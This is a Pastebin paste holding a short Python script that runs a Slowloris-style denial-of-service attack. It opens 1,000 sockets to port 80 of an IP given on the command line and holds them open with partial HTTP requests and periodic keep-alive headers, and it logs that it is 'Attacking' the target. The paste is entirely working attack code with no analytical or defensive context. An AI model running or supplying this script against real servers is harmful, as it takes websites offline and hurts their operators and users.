Advertisement
Guest User

WADE2009ad

a guest
Jan 21st, 2019
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.72 KB | None | 0 0
  1. import socket
  2. import random
  3. import time
  4. import sys
  5.  
  6. log_level = 2
  7.  
  8. def log(text, level=1):
  9. if log_level >= level:
  10. print(text)
  11.  
  12. list_of_sockets = []
  13.  
  14. regular_headers = [
  15. "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
  16. "Accept-language: en-US,en,q=0.5"
  17. ]
  18.  
  19. ip = sys.argv[1]
  20. socket_count = 1000
  21. log("Attacking {} with {} sockets.".format(ip, socket_count))
  22.  
  23. log("Creating sockets...")
  24. for _ in range(socket_count):
  25. try:
  26. log("Creating socket nr {}".format(_), level=2)
  27. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  28. s.settimeout(4)
  29. s.connect((ip, 80))
  30. except socket.error:
  31. break
  32. list_of_sockets.append(s)
  33.  
  34. log("Setting up the sockets...")
  35. for s in list_of_sockets:
  36. s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
  37. for header in regular_headers:
  38. s.send(bytes("{}\r\n".format(header).encode("utf-8")))
  39.  
  40. while True:
  41. log("Sending keep-alive headers...")
  42. for s in list_of_sockets:
  43. try:
  44. s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
  45. except socket.error:
  46. list_of_sockets.remove(s)
  47. try:
  48. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  49. s.settimeout(4)
  50. s.connect((ip, 80))
  51. for s in list_of_sockets:
  52. s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
  53. for header in regular_headers:
  54. s.send(bytes("{}\r\n".format(header).encode("utf-8")))
  55. except socket.error:
  56. continue
  57.  
  58. time.sleep(15)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement